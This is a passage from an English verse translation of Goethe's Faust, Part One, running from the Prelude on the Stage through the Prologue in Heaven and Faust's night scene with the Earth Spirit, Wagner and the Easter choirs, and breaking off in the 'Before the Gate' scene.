ocean,\ Whose roar and greed the shuddering spirit chill!\ Hide from my sight that billowy commotion\ That draws us down the whirlpool 'gainst our will.\ No, lead me to that nook of calm devotion,\ Where blooms pure joy upon the Muses' hill;\ Where love and friendship aye create and cherish,\ With hand divine, heart-joys that never perish.\ Ah! what, from feeling's deepest fountain springing,\ Scarce from the stammering lips had faintly passed,\ Now, hopeful, venturing forth, now shyly clinging,\ To the wild moment's cry a prey is cast.\ Oft when for years the brain had heard it ringing\ It comes in full and rounded shape at last.\ What shines, is born but for the moment's pleasure;\ The genuine leaves posterity a treasure.\ \ _Merry Person_. Posterity! I'm sick of hearing of it;\ Supposing I the future age would profit,\ Who then would furnish ours with fun?\ For it must have it, ripe and mellow;\ The presence of a fine young fellow,\ Is cheering, too, methinks, to any one.\ Whoso can pleasantly communicate,\ Will not make war with popular caprices,\ For, as the circle waxes great,\ The power his word shall wield increases.\ Come, then, and let us now a model see,\ Let Phantasy with all her various choir,\ Sense, reason, passion, sensibility,\ But, mark me, folly too! the scene inspire.\ \ _Manager_. But the great point is action! Every one\ Comes as spectator, and the show's the fun.\ Let but the plot be spun off fast and thickly,\ So that the crowd shall gape in broad surprise,\ Then have you made a wide impression quickly,\ You are the man they'll idolize.\ The mass can only be impressed by masses;\ Then each at last picks out his proper part.\ Give much, and then to each one something passes,\ And each one leaves the house with happy heart.\ Have you a piece, give it at once in pieces!\ Such a ragout your fame increases;\ It costs as little pains to play as to invent.\ But what is gained, if you a whole present?\ Your public picks it presently to pieces.\ \ _Poet_. You do not feel how mean a trade like that must be!\ In the true Artist's eyes how false and hollow!\ Our genteel botchers, well I see,\ Have given the maxims that you follow.\ \ _Manager_. Such charges pass me like the idle wind;\ A man who has right work in mind\ Must choose the instruments most fitting.\ Consider what soft wood you have for splitting,\ And keep in view for whom you write!\ If this one from _ennui_ seeks flight,\ That other comes full from the groaning table,\ Or, the worst case of all to cite,\ From reading journals is for thought unable.\ Vacant and giddy, all agog for wonder,\ As to a masquerade they wing their way;\ The ladies give themselves and all their precious plunder\ And without wages help us play.\ On your poetic heights what dream comes o'er you?\ What glads a crowded house? Behold\ Your patrons in array before you!\ One half are raw, the other cold.\ One, after this play, hopes to play at cards,\ One a wild night to spend beside his doxy chooses,\ Poor fools, why court ye the regards,\ For such a set, of the chaste muses?\ I tell you, give them more and ever more and more,\ And then your mark you'll hardly stray from ever;\ To mystify be your endeavor,\ To satisfy is labor sore....\ What ails you? Are you pleased or pained? What notion----\ \ _Poet_. Go to, and find thyself another slave!\ What! and the lofty birthright Nature gave,\ The noblest talent Heaven to man has lent,\ Thou bid'st the Poet fling to folly's ocean!\ How does he stir each deep emotion?\ How does he conquer every element?\ But by the tide of song that from his bosom springs,\ And draws into his heart all living things?\ When Nature's hand, in endless iteration,\ The thread across the whizzing spindle flings,\ When the complex, monotonous creation\ Jangles with all its million strings:\ Who, then, the long, dull series animating,\ Breaks into rhythmic march the soulless round?\ And, to the law of All each member consecrating,\ Bids one majestic harmony resound?\ Who bids the tempest rage with passion's power?\ The earnest soul with evening-redness glow?\ Who scatters vernal bud and summer flower\ Along the path where loved ones go?\ Who weaves each green leaf in the wind that trembles\ To form the wreath that merit's brow shall crown?\ Who makes Olympus fast? the gods assembles?\ The power of manhood in the Poet shown.\ \ _Merry Person_. Come, then, put forth these noble powers,\ And, Poet, let thy path of flowers\ Follow a love-adventure's winding ways.\ One comes and sees by chance, one burns, one stays,\ And feels the gradual, sweet entangling!\ The pleasure grows, then comes a sudden jangling,\ Then rapture, then distress an arrow plants,\ And ere one dreams of it, lo! _there_ is a romance.\ Give us a drama in this fashion!\ Plunge into human life's full sea of passion!\ Each lives it, few its meaning ever guessed,\ Touch where you will, 'tis full of interest.\ Bright shadows fleeting o'er a mirror,\ A spark of truth and clouds of error,\ By means like these a drink is brewed\ To cheer and edify the multitude.\ The fairest flower of the youth sit listening\ Before your play, and wait the revelation;\ Each melancholy heart, with soft eyes glistening,\ Draws sad, sweet nourishment from your creation;\ This passion now, now that is stirred, by turns,\ And each one sees what in his bosom burns.\ Open alike, as yet, to weeping and to laughter,\ They still admire the flights, they still enjoy the show;\ Him who is formed, can nothing suit thereafter;\ The yet unformed with thanks will ever glow.\ \ _Poet_. Ay, give me back the joyous hours,\ When I myself was ripening, too,\ When song, the fount, flung up its showers\ Of beauty ever fresh and new.\ When a soft haze the world was veiling,\ Each bud a miracle bespoke,\ And from their stems a thousand flowers I broke,\ Their fragrance through the vales exhaling.\ I nothing and yet all possessed,\ Yearning for truth and in illusion blest.\ Give me the freedom of that hour,\ The tear of joy, the pleasing pain,\ Of hate and love the thrilling power,\ Oh, give me back my youth again!\ \ _Merry Person_. Youth, my good friend, thou needest certainly\ When ambushed foes are on thee springing,\ When loveliest maidens witchingly\ Their white arms round thy neck are flinging,\ When the far garland meets thy glance,\ High on the race-ground's goal suspended,\ When after many a mazy dance\ In drink and song the night is ended.\ But with a free and graceful soul\ To strike the old familiar lyre,\ And to a self-appointed goal\ Sweep lightly o'er the trembling wire,\ There lies, old gentlemen, to-day\ Your task; fear not, no vulgar error blinds us.\ Age does not make us childish, as they say,\ But we are still true children when it finds us.\ \ _Manager_. Come, words enough you two have bandied,\ Now let us see some deeds at last;\ While you toss compliments full-handed,\ The time for useful work flies fast.\ Why talk of being in the humor?\ Who hesitates will never be.\ If you are poets (so says rumor)\ Now then command your poetry.\ You know full well our need and pleasure,\ We want strong drink in brimming measure;\ Brew at it now without delay!\ To-morrow will not do what is not done to-day.\ Let not a day be lost in dallying,\ But seize the possibility\ Right by the forelock, courage rallying,\ And forth with fearless spirit sallying,--\ Once in the yoke and you are free.\ Upon our German boards, you know it,\ What any one would try, he may;\ Then stint me not, I beg, to-day,\ In scenery or machinery, Poet.\ With great and lesser heavenly lights make free,\ Spend starlight just as you desire;\ No want of water, rocks or fire\ Or birds or beasts to you shall be.\ So, in this narrow wooden house's bound,\ Stride through the whole creation's round,\ And with considerate swiftness wander\ From heaven, through this world, to the world down yonder.\ \ \ \ \ PROLOGUE\ \ \ IN HEAVEN.\ \ \ [THE LORD. THE HEAVENLY HOSTS _afterward_ MEPHISTOPHELES.\ _The three archangels_, RAPHAEL, GABRIEL, _and_ MICHAEL, _come forward_.]\ \ _Raphael_. The sun, in ancient wise, is sounding,\ With brother-spheres, in rival song;\ And, his appointed journey rounding,\ With thunderous movement rolls along.\ His look, new strength to angels lending,\ No creature fathom can for aye;\ The lofty works, past comprehending,\ Stand lordly, as on time's first day.\ \ _Gabriel_. And swift, with wondrous swiftness fleeting,\ The pomp of earth turns round and round,\ The glow of Eden alternating\ With shuddering midnight's gloom profound;\ Up o'er the rocks the foaming ocean\ Heaves from its old, primeval bed,\ And rocks and seas, with endless motion,\ On in the spheral sweep are sped.\ \ _Michael_. And tempests roar, glad warfare waging,\ From sea to land, from land to sea,\ And bind round all, amidst their raging,\ A chain of giant energy.\ There, lurid desolation, blazing,\ Foreruns the volleyed thunder's way:\ Yet, Lord, thy messengers[2] are praising\ The mild procession of thy day.\ \ _All Three_. The sight new strength to angels lendeth,\ For none thy being fathom may,\ The works, no angel comprehendeth,\ Stand lordly as on time's first day.\ \ _Mephistopheles_. Since, Lord, thou drawest near us once again,\ And how we do, dost graciously inquire,\ And to be pleased to see me once didst deign,\ I too among thy household venture nigher.\ Pardon, high words I cannot labor after,\ Though the whole court should look on me with scorn;\ My pathos certainly would stir thy laughter,\ Hadst thou not laughter long since quite forsworn.\ Of sun and worlds I've nought to tell worth mention,\ How men torment themselves takes my attention.\ The little God o' the world jogs on the same old way\ And is as singular as on the world's first day.\ A pity 'tis thou shouldst have given\ The fool, to make him worse, a gleam of light from heaven;\ He calls it reason, using it\ To be more beast than ever beast was yet.\ He seems to me, (your grace the word will pardon,)\ Like a long-legg'd grasshopper in the garden,\ Forever on the wing, and hops and sings\ The same old song, as in the grass he springs;\ Would he but stay there! no; he needs must muddle\ His prying nose in every puddle.\ \ _The Lord_. Hast nothing for our edification?\ Still thy old work of accusation?\ Will things on earth be never right for thee?\ \ _Mephistopheles_. No, Lord! I find them still as bad as bad can be.\ Poor souls! their miseries seem so much to please 'em,\ I scarce can find it in my heart to tease 'em.\ \ _The Lord_. Knowest thou Faust?\ \ _Mephistopheles_. The Doctor?\ \ _The Lord_. Ay, my servant!\ \ _Mephistopheles_. He!\ Forsooth! he serves you in a famous fashion;\ No earthly meat or drink can feed his passion;\ Its grasping greed no space can measure;\ Half-conscious and half-crazed, he finds no rest;\ The fairest stars of heaven must swell his treasure.\ Each highest joy of earth must yield its zest,\ Not all the world--the boundless azure--\ Can fill the void within his craving breast.\ \ _The Lord_. He serves me somewhat darkly, now, I grant,\ Yet will he soon attain the light of reason.\ Sees not the gardener, in the green young plant,\ That bloom and fruit shall deck its coming season?\ \ _Mephistopheles_. What will you bet? You'll surely lose your wager!\ If you will give me leave henceforth,\ To lead him softly on, like an old stager.\ \ _The Lord_. So long as he shall live on earth,\ Do with him all that you desire.\ Man errs and staggers from his birth.\ \ _Mephistopheles_. Thank you; I never did aspire\ To have with dead folk much transaction.\ In full fresh cheeks I take the greatest satisfaction.\ A corpse will never find me in the house;\ I love to play as puss does with the mouse.\ \ _The Lord_. All right, I give thee full permission!\ Draw down this spirit from its source,\ And, canst thou catch him, to perdition\ Carry him with thee in thy course,\ But stand abashed, if thou must needs confess,\ That a good man, though passion blur his vision,\ Has of the right way still a consciousness.\ \ _Mephistopheles_. Good! but I'll make it a short story.\ About my wager I'm by no means sorry.\ And if I gain my end with glory\ Allow me to exult from a full breast.\ Dust shall he eat and that with zest,\ Like my old aunt, the snake, whose fame is hoary.\ \ _The Lord_. Well, go and come, and make thy trial;\ The like of thee I never yet did hate.\ Of all the spirits of denial\ The scamp is he I best can tolerate.\ Man is too prone, at best, to seek the way that's easy,\ He soon grows fond of unconditioned rest;\ And therefore such a comrade suits him best,\ Who spurs and works, true devil, always busy.\ But you, true sons of God, in growing measure,\ Enjoy rich beauty's living stores of pleasure!\ The Word[3] divine that lives and works for aye,\ Fold you in boundless love's embrace alluring,\ And what in floating vision glides away,\ That seize ye and make fast with thoughts enduring.\ \ [_Heaven closes, the archangels disperse._]\ \ _Mephistopheles. [Alone.]_ I like at times to exchange with him a word,\ And take care not to break with him. 'Tis civil\ In the old fellow[4] and so great a Lord\ To talk so kindly with the very devil.\ \ \ \ \ FAUST.\ \ \ _Night. In a narrow high-arched Gothic room_,\ FAUST _sitting uneasy at his desk_.\ \ _Faust_. Have now, alas! quite studied through\ Philosophy and Medicine,\ And Law, and ah! Theology, too,\ With hot desire the truth to win!\ And here, at last, I stand, poor fool!\ As wise as when I entered school;\ Am called Magister, Doctor, indeed,--\ Ten livelong years cease not to lead\ Backward and forward, to and fro,\ My scholars by the nose--and lo!\ Just nothing, I see, is the sum of our learning,\ To the very core of my heart 'tis burning.\ 'Tis true I'm more clever than all the foplings,\ Doctors, Magisters, Authors, and Popelings;\ Am plagued by no scruple, nor doubt, nor cavil,\ Nor lingering fear of hell or devil--\ What then? all pleasure is fled forever;\ To know one thing I vainly endeavor,\ There's nothing wherein one fellow-creature\ Could be mended or bettered with me for a teacher.\ And then, too, nor goods nor gold have I,\ Nor fame nor worldly dignity,--\ A condition no dog could longer live in!\ And so to magic my soul I've given,\ If, haply, by spirits' mouth and might,\ Some mysteries may not be brought to light;\ That to teach, no longer may be my lot,\ With bitter sweat, what I need to be taught;\ That I may know what the world contains\ In its innermost heart and finer veins,\ See all its energies and seeds\ And deal no more in words but in deeds.\ O full, round Moon, didst thou but thine\ For the last time on this woe of mine!\ Thou whom so many a midnight I\ Have watched, at this desk, come up the sky:\ O'er books and papers, a dreary pile,\ Then, mournful friend! uprose thy smile!\ Oh that I might on the mountain-height,\ Walk in the noon of thy blessed light,\ Round mountain-caverns with spirits hover,\ Float in thy gleamings the meadows over,\ And freed from the fumes of a lore-crammed brain,\ Bathe in thy dew and be well again!\ Woe! and these walls still prison me?\ Dull, dismal hole! my curse on thee!\ Where heaven's own light, with its blessed beams,\ Through painted panes all sickly gleams!\ Hemmed in by these old book-piles tall,\ Which, gnawed by worms and deep in must,\ Rise to the roof against a wall\ Of smoke-stained paper, thick with dust;\ 'Mid glasses, boxes, where eye can see,\ Filled with old, obsolete instruments,\ Stuffed with old heirlooms of implements--\ That is thy world! There's a world for thee!\ And still dost ask what stifles so\ The fluttering heart within thy breast?\ By what inexplicable woe\ The springs of life are all oppressed?\ Instead of living nature, where\ God made and planted men, his sons,\ Through smoke and mould, around thee stare\ Grim skeletons and dead men's bones.\ Up! Fly! Far out into the land!\ And this mysterious volume, see!\ By Nostradamus's[5] own hand,\ Is it not guide enough for thee?\ Then shalt thou thread the starry skies,\ And, taught by nature in her walks,\ The spirit's might shall o'er thee rise,\ As ghost to ghost familiar talks.\ Vain hope that mere dry sense should here\ Explain the holy signs to thee.\ I feel you, spirits, hovering near;\ Oh, if you hear me, answer me!\ [_He opens the book and beholds the sign of the Macrocosm.[_6]]\ Ha! as I gaze, what ecstasy is this,\ In one full tide through all my senses flowing!\ I feel a new-born life, a holy bliss\ Through nerves and veins mysteriously glowing.\ Was it a God who wrote each sign?\ Which, all my inner tumult stilling,\ And this poor heart with rapture filling,\ Reveals to me, by force divine,\ Great Nature's energies around and through me thrilling?\ Am I a God? It grows so bright to me!\ Each character on which my eye reposes\ Nature in act before my soul discloses.\ The sage's word was truth, at last I see:\ \"The spirit-world, unbarred, is waiting;\ Thy sense is locked, thy heart is dead!\ Up, scholar, bathe, unhesitating,\ The earthly breast in morning-red!\"\ [_He contemplates the sign._]\ How all one whole harmonious weaves,\ Each in the other works and lives!\ See heavenly powers ascending and descending,\ The golden buckets, one long line, extending!\ See them with bliss-exhaling pinions winging\ Their way from heaven through earth--their singing\ Harmonious through the universe is ringing!\ Majestic show! but ah! a show alone!\ Nature! where find I thee, immense, unknown?\ Where you, ye breasts? Ye founts all life sustaining,\ On which hang heaven and earth, and where\ Men's withered hearts their waste repair--\ Ye gush, ye nurse, and I must sit complaining?\ [_He opens reluctantly the book and sees the sign of the earth-spirit._]\ How differently works on me this sign!\ Thou, spirit of the earth, art to me nearer;\ I feel my powers already higher, clearer,\ I glow already as with new-pressed wine,\ I feel the mood to brave life's ceaseless clashing,\ To bear its frowning woes, its raptures flashing,\ To mingle in the tempest's dashing,\ And not to tremble in the shipwreck's crashing;\ Clouds gather o'er my head--\ Them moon conceals her light--\ The lamp goes out!\ It smokes!--Red rays are darting, quivering\ Around my head--comes down\ A horror from the vaulted roof\ And seizes me!\ Spirit that I invoked, thou near me art,\ Unveil thyself!\ Ha! what a tearing in my heart!\ Upheaved like an ocean\ My senses toss with strange emotion!\ I feel my heart to thee entirely given!\ Thou must! and though the price were life--were heaven!\ [_He seizes the book and pronounces mysteriously the sign of the spirit.\ A ruddy flame darts out, the spirit appears in the flame._]\ \ _Spirit_. Who calls upon me?\ \ _Faust. [Turning away.]_ Horrid sight!\ \ _Spirit_. Long have I felt the mighty action,\ Upon my sphere, of thy attraction,\ And now--\ \ _Faust_. Away, intolerable sprite!\ \ _Spirit_. Thou breath'st a panting supplication\ To hear my voice, my face to see;\ Thy mighty prayer prevails on me,\ I come!--what miserable agitation\ Seizes this demigod! Where is the cry of thought?\ Where is the breast? that in itself a world begot,\ And bore and cherished, that with joy did tremble\ And fondly dream us spirits to resemble.\ Where art thou, Faust? whose voice rang through my ear,\ Whose mighty yearning drew me from my sphere?\ Is this thing thou? that, blasted by my breath,\ Through all life's windings shuddereth,\ A shrinking, cringing, writhing worm!\ \ _Faust_. Thee, flame-born creature, shall I fear?\ 'Tis I, 'tis Faust, behold thy peer!\ \ _Spirit_. In life's tide currents, in action's storm,\ Up and down, like a wave,\ Like the wind I sweep!\ Cradle and grave--\ A limitless deep---\ An endless weaving\ To and fro,\ A restless heaving\ Of life and glow,--\ So shape I, on Destiny's thundering loom,\ The Godhead's live garment, eternal in bloom.\ \ _Faust_. Spirit that sweep'st the world from end to end,\ How near, this hour, I feel myself to thee!\ \ _Spirit_. Thou'rt like the spirit thou canst comprehend,\ Not me! [_Vanishes._]\ \ _Faust_. [_Collapsing_.] Not thee?\ Whom then?\ I, image of the Godhead,\ And no peer for thee!\ [_A knocking_.]\ O Death! I know it!--'tis my Famulus--\ Good-bye, ye dreams of bliss Elysian!\ Shame! that so many a glowing vision\ This dried-up sneak must scatter thus!\ \ [WAGNER, _in sleeping-gown and night-cap, a lamp in his hand._\ FAUST _turns round with an annoyed look_.]\ \ _Wagner_. Excuse me! you're engaged in declamation;\ 'Twas a Greek tragedy no doubt you read?\ I in this art should like initiation,\ For nowadays it stands one well instead.\ I've often heard them boast, a preacher\ Might profit with a player for his teacher.\ \ _Faust_. Yes, when the preacher is a player, granted:\ As often happens in our modern ways.\ \ _Wagner_. Ah! when one with such love of study's haunted,\ And scarcely sees the world on holidays,\ And takes a spy-glass, as it were, to read it,\ How can one by persuasion hope to lead it?\ \ _Faust_. What you don't feel, you'll never catch by hunting,\ It must gush out spontaneous from the soul,\ And with a fresh delight enchanting\ The hearts of all that hear control.\ Sit there forever! Thaw your glue-pot,--\ Blow up your ash-heap to a flame, and brew,\ With a dull fire, in your stew-pot,\ Of other men's leavings a ragout!\ Children and apes will gaze delighted,\ If their critiques can pleasure impart;\ But never a heart will be ignited,\ Comes not the spark from the speaker's heart.\ \ _Wagner_. Delivery makes the orator's success;\ There I'm still far behindhand, I confess.\ \ _Faust_. Seek honest gains, without pretence!\ Be not a cymbal-tinkling fool!\ Sound understanding and good sense\ Speak out with little art or rule;\ And when you've something earnest to utter,\ Why hunt for words in such a flutter?\ Yes, your discourses, that are so refined'\ In which humanity's poor shreds you frizzle,\ Are unrefreshing as the mist and wind\ That through the withered leaves of autumn whistle!\ \ _Wagner_. Ah God! well, art is long!\ And life is short and fleeting.\ What headaches have I felt and what heart-beating,\ When critical desire was strong.\ How hard it is the ways and means to master\ By which one gains each fountain-head!\ \ And ere one yet has half the journey sped,\ The poor fool dies--O sad disaster!\ \ _Faust_. Is parchment, then, the holy well-spring, thinkest,\ A draught from which thy thirst forever slakes?\ No quickening element thou drinkest,\ Till up from thine own soul the fountain breaks.\ \ _Wagner_. Excuse me! in these olden pages\ We catch the spirit of the by-gone ages,\ We see what wisest men before our day have thought,\ And to what glorious heights we their bequests have brought.\ \ _Faust_. O yes, we've reached the stars at last!\ My friend, it is to us,--the buried past,--\ A book with seven seals protected;\ Your spirit of the times is, then,\ At bottom, your own spirit, gentlemen,\ In which the times are seen reflected.\ And often such a mess that none can bear it;\ At the first sight of it they run away.\ A dust-bin and a lumber-garret,\ At most a mock-heroic play[8]\ With fine, pragmatic maxims teeming,\ The mouths of puppets well-beseeming!\ \ _Wagner_. But then the world! the heart and mind of man!\ To know of these who would not pay attention?\ \ _Faust_. To know them, yes, as weaklings can!\ Who dares the child's true name outright to mention?\ The few who any thing thereof have learned,\ Who out of their heart's fulness needs must gabble,\ And show their thoughts and feelings to the rabble,\ Have evermore been crucified and burned.\ I pray you, friend, 'tis wearing into night,\ Let us adjourn here, for the present.\ \ _Wagner_. I had been glad to stay till morning light,\ This learned talk with you has been so pleasant,\ But the first day of Easter comes to-morrow.\ And then an hour or two I'll borrow.\ With zeal have I applied myself to learning,\ True, I know much, yet to know all am burning.\ [_Exit_.]\ \ _Faust_. [_Alone_.] See how in _his_ head only, hope still lingers,\ Who evermore to empty rubbish clings,\ With greedy hand grubs after precious things,\ And leaps for joy when some poor worm he fingers!\ That such a human voice should dare intrude,\ Where all was full of ghostly tones and features!\ Yet ah! this once, my gratitude\ Is due to thee, most wretched of earth's creatures.\ Thou snatchedst me from the despairing state\ In which my senses, well nigh crazed, were sunken.\ The apparition was so giant-great,\ That to a very dwarf my soul had shrunken.\ I, godlike, who in fancy saw but now\ Eternal truth's fair glass in wondrous nearness,\ Rejoiced in heavenly radiance and clearness,\ Leaving the earthly man below;\ I, more than cherub, whose free force\ Dreamed, through the veins of nature penetrating,\ To taste the life of Gods, like them creating,\ Behold me this presumption expiating!\ A word of thunder sweeps me from my course.\ Myself with thee no longer dare I measure;\ Had I the power to draw thee down at pleasure;\ To hold thee here I still had not the force.\ Oh, in that blest, ecstatic hour,\ I felt myself so small, so great;\ Thou drovest me with cruel power\ Back upon man's uncertain fate\ What shall I do? what slum, thus lonely?\ That impulse must I, then, obey?\ Alas! our very deeds, and not our sufferings only,\ How do they hem and choke life's way!\ To all the mind conceives of great and glorious\ A strange and baser mixture still adheres;\ Striving for earthly good are we victorious?\ A dream and cheat the better part appears.\ The feelings that could once such noble life inspire\ Are quenched and trampled out in passion's mire.\ Where Fantasy, erewhile, with daring flight\ Out to the infinite her wings expanded,\ A little space can now suffice her quite,\ When hope on hope time's gulf has wrecked and stranded.\ Care builds her nest far down the heart's recesses,\ There broods o'er dark, untold distresses,\ Restless she sits, and scares thy joy and peace away;\ She puts on some new mask with each new day,\ Herself as house and home, as wife and child presenting,\ As fire and water, bane and blade;\ What never hits makes thee afraid,\ And what is never lost she keeps thee still lamenting.\ Not like the Gods am I! Too deep that truth is thrust!\ But like the worm, that wriggles through the dust;\ Who, as along the dust for food he feels,\ Is crushed and buried by the traveller's heels.\ Is it not dust that makes this lofty wall\ Groan with its hundred shelves and cases;\ The rubbish and the thousand trifles all\ That crowd these dark, moth-peopled places?\ Here shall my craving heart find rest?\ Must I perchance a thousand books turn over,\ To find that men are everywhere distrest,\ And here and there one happy one discover?\ Why grin'st thou down upon me, hollow skull?\ But that thy brain, like mine, once trembling, hoping,\ Sought the light day, yet ever sorrowful,\ Burned for the truth in vain, in twilight groping?\ Ye, instruments, of course, are mocking me;\ Its wheels, cogs, bands, and barrels each one praises.\ I waited at the door; you were the key;\ Your ward is nicely turned, and yet no bolt it raises.\ Unlifted in the broadest day,\ Doth Nature's veil from prying eyes defend her,\ And what (he chooses not before thee to display,\ Not all thy screws and levers can force her to surrender.\ Old trumpery! not that I e'er used thee, but\ Because my father used thee, hang'st thou o'er me,\ Old scroll! thou hast been stained with smoke and smut\ Since, on this desk, the lamp first dimly gleamed before me.\ Better have squandered, far, I now can clearly see,\ My little all, than melt beneath it, in this Tophet!\ That which thy fathers have bequeathed to thee,\ Earn and become possessor of it!\ What profits not a weary load will be;\ What it brings forth alone can yield the moment profit.\ Why do I gaze as if a spell had bound me\ Up yonder? Is that flask a magnet to the eyes?\ What lovely light, so sudden, blooms around me?\ As when in nightly woods we hail the full-moon-rise.\ I greet thee, rarest phial, precious potion!\ As now I take thee down with deep devotion,\ In thee I venerate man's wit and art.\ Quintessence of all soporific flowers,\ Extract of all the finest deadly powers,\ Thy favor to thy master now impart!\ I look on thee, the sight my pain appeases,\ I handle thee, the strife of longing ceases,\ The flood-tide of the spirit ebbs away.\ Far out to sea I'm drawn, sweet voices listening,\ The glassy waters at my feet are glistening,\ To new shores beckons me a new-born day.\ A fiery chariot floats, on airy pinions,\ To where I sit! Willing, it beareth me,\ On a new path, through ether's blue dominions,\ To untried spheres of pure activity.\ This lofty life, this bliss elysian,\ Worm that thou waft erewhile, deservest thou?\ Ay, on this earthly sun, this charming vision,\ Turn thy back resolutely now!\ Boldly draw near and rend the gates asunder,\ By which each cowering mortal gladly steals.\ Now is the time to show by deeds of wonder\ That manly greatness not to godlike glory yields;\ Before that gloomy pit to stand, unfearing,\ Where Fantasy self-damned in its own torment lies,\ Still onward to that pass-way steering,\ Around whose narrow mouth hell-flames forever rise;\ Calmly to dare the step, serene, unshrinking,\ Though into nothingness the hour should see thee sinking.\ Now, then, come down from thy old case, I bid thee,\ Where thou, forgotten, many a year hast hid thee,\ Into thy master's hand, pure, crystal glass!\ The joy-feasts of the fathers thou hast brightened,\ The hearts of gravest guests were lightened,\ When, pledged, from hand to hand they saw thee pass.\ Thy sides, with many a curious type bedight,\ Which each, as with one draught he quaffed the liquor\ Must read in rhyme from off the wondrous beaker,\ Remind me, ah! of many a youthful night.\ I shall not hand thee now to any neighbor,\ Not now to show my wit upon thy carvings labor;\ Here is a juice of quick-intoxicating might.\ The rich brown flood adown thy sides is streaming,\ With my own choice ingredients teeming;\ Be this last draught, as morning now is gleaming,\ Drained as a lofty pledge to greet the festal light!\ [_He puts the goblet to his lips_.\ \ _Ringing of bells and choral song_.\ \ _Chorus of Angels_. Christ hath arisen!\ Joy to humanity!\ No more shall vanity,\ Death and inanity\ Hold thee in prison!\ \ _Faust_. What hum of music, what a radiant tone,\ Thrills through me, from my lips the goblet stealing!\ Ye murmuring bells, already make ye known\ The Easter morn's first hour, with solemn pealing?\ Sing you, ye choirs, e'en now, the glad, consoling song,\ That once, from angel-lips, through gloom sepulchral rung,\ A new immortal covenant sealing?\ \ _Chorus of Women_. Spices we carried,\ Laid them upon his breast;\ Tenderly buried\ Him whom we loved the best;\ \ Cleanly to bind him\ Took we the fondest care,\ Ah! and we find him\ Now no more there.\ \ _Chorus of Angels_. Christ hath ascended!\ Reign in benignity!\ Pain and indignity,\ Scorn and malignity,\ _Their_ work have ended.\ \ _Faust_. Why seek ye me in dust, forlorn,\ Ye heavenly tones, with soft enchanting?\ Go, greet pure-hearted men this holy morn!\ Your message well I hear, but faith to me is wanting;\ Wonder, its dearest child, of Faith is born.\ To yonder spheres I dare no more aspire,\ Whence the sweet tidings downward float;\ And yet, from childhood heard, the old, familiar note\ Calls back e'en now to life my warm desire.\ Ah! once how sweetly fell on me the kiss\ Of heavenly love in the still Sabbath stealing!\ Prophetically rang the bells with solemn pealing;\ A prayer was then the ecstasy of bliss;\ A blessed and mysterious yearning\ Drew me to roam through meadows, woods, and skies;\ And, midst a thousand tear-drops burning,\ I felt a world within me rise\ That strain, oh, how it speaks youth's gleesome plays and feelings,\ Joys of spring-festivals long past;\ Remembrance holds me now, with childhood's fond appealings,\ Back from the fatal step, the last.\ Sound on, ye heavenly strains, that bliss restore me!\ Tears gush, once more the spell of earth is o'er me\ \ _Chorus of Disciples_. Has the grave's lowly one\ Risen victorious?\ Sits he, God's Holy One,\ High-throned and glorious?\ He, in this blest new birth,\ Rapture creative knows;[9]\ Ah! on the breast of earth\ Taste we still nature's woes.\ Left here to languish\ Lone in a world like this,\ Fills us with anguish\ Master, thy bliss!\ \ _Chorus of Angels_. Christ has arisen\ Out of corruption's gloom.\ Break from your prison,\ Burst every tomb!\ Livingly owning him,\ Lovingly throning him,\ Feasting fraternally,\ Praying diurnally,\ Bearing his messages,\ Sharing his promises,\ Find ye your master near,\ Find ye him here![10]\ \ \ \ \ BEFORE THE GATE.\ \ _Pedestrians of all descriptions stroll forth_.\ \ _Mechanics' Apprentices_. Where are you going to carouse?\ \ _Others_. We're all going out to the Hunter's House.\ \ _The First_. We're going, ourselves, out to the Mill-House, brothers.\ \ _An Apprentice_. The Fountain-House I rather recommend.\ \ _Second_. 'Tis not a pleasant road, my friend.\ \ _The second group_. What will you do, then?\ \ _A Third_. I go with the others.\ \ _Fourth_. Come up to Burgdorf, there you're sure to find good cheer,\ The handsomest of girls and best of beer,\ And rows, too, of the very first water.\ \ _Fifth_. You monstrous madcap, does your skin\ Itch for the third time to try that inn?\ I've had enough for _my_ taste in that quarter.\ \ _Servant-girl_. No! I'm going back again to town for one.\ \ _Others_. Under those poplars we are sure to meet him.\ \ _First Girl_. But that for me is no great fun;\ For you are always sure to get him,\ He never dances with any but you.\ Great good to me your luck will do!\ \ _Others_. He's not alone, I heard him say,\ The curly-head would be with him to-day.\ \ _Scholar_. Stars! how the buxom wenches stride there!\ Quick, brother! we must fasten alongside there.\ Strong beer, good smart tobacco, and the waist\ Of a right handsome gall, well rigg'd, now that's my taste.\ \ _Citizen's Daughter_. Do see those fine, young fellows yonder!\ 'Tis, I declare, a great disgrace;\ When they might have the very best, I wonder,\ After these galls they needs must race!\ \ _Second scholar_ [_to the first_].\ Stop! not so fast! there come two more behind,\ My eyes! but ain't they dressed up neatly?\ One is my neighbor, or I'm blind;\ I love the girl, she looks so sweetly.\ Alone all quietly they go,\ You'll find they'll take us, by and bye, in tow.\ \ _First_. No, brother! I don't like these starched up ways.\ Make haste! before the game slips through our fingers.\ The hand that swings the broom o' Saturdays\ On Sundays round thy neck most sweetly lingers.\ \ _Citizen_. No, I don't like at all this new-made burgomaster!\ His insolence grows daily ever faster.\ No good from him the town will get!\ Will things grow better with him? Never!\ We're under more constraint than ever,\ And pay more tax than ever yet.\ \ _Beggar_. [_Sings_.] Good gentlemen, and you, fair ladies,\ With such red cheeks and handsome dress,\ Think what my melancholy trade is,\ And see and pity my distress!\ Help the poor harper, sisters, brothers!\ Who loves to give, alone is gay.\ This day, a holiday to others,\ Make it for me a harvest day.\ \ _Another citizen_.\ Sundays and holidays, I like, of all things, a good prattle\ Of war and fighting, and the whole array,\ When back in Turkey, far away,\ The peoples give each other battle.\ One stands before the window, drinks his glass,\ And sees the ships with flags glide slowly down the river;\ Comes home at night, when out of sight they pass,\ And sings with joy, \"Oh, peace forever!\"\ \ _Third citizen_. So I say, neighbor! let them have their way,\ Crack skulls and in their crazy riot\ Turn all things upside down they may,\ But leave us here in peace and quiet.\ \ _Old Woman_ [_to the citizen's daughter_].\ Heyday, brave prinking this! the fine young blood!\ Who is not smitten that has met you?--\ But not so proud! All very good!\ And what you want I'll promise soon to get you.\ \ _Citizen's Daughter_. Come, Agatha! I dread in public sight\ To prattle with such hags; don't stay, O, Luddy!\ 'Tis true she showed me, on St. Andrew's night,\ My future sweetheart in the body.\ \ _The other_. She showed me mine, too, in a glass,\ Right soldierlike, with daring comrades round him.\ I look all round, I study all that pass,\ But to this hour I have not found him.\ \ _Soldiers_. Castles with lowering\ Bulwarks and towers,\ Maidens with towering\ Passions and powers,\ Both shall be ours!\ Daring the venture,\ Glorious the pay!\ \ When the brass trumpet\ Summons us loudly,\ Joy-ward or death-ward,\ 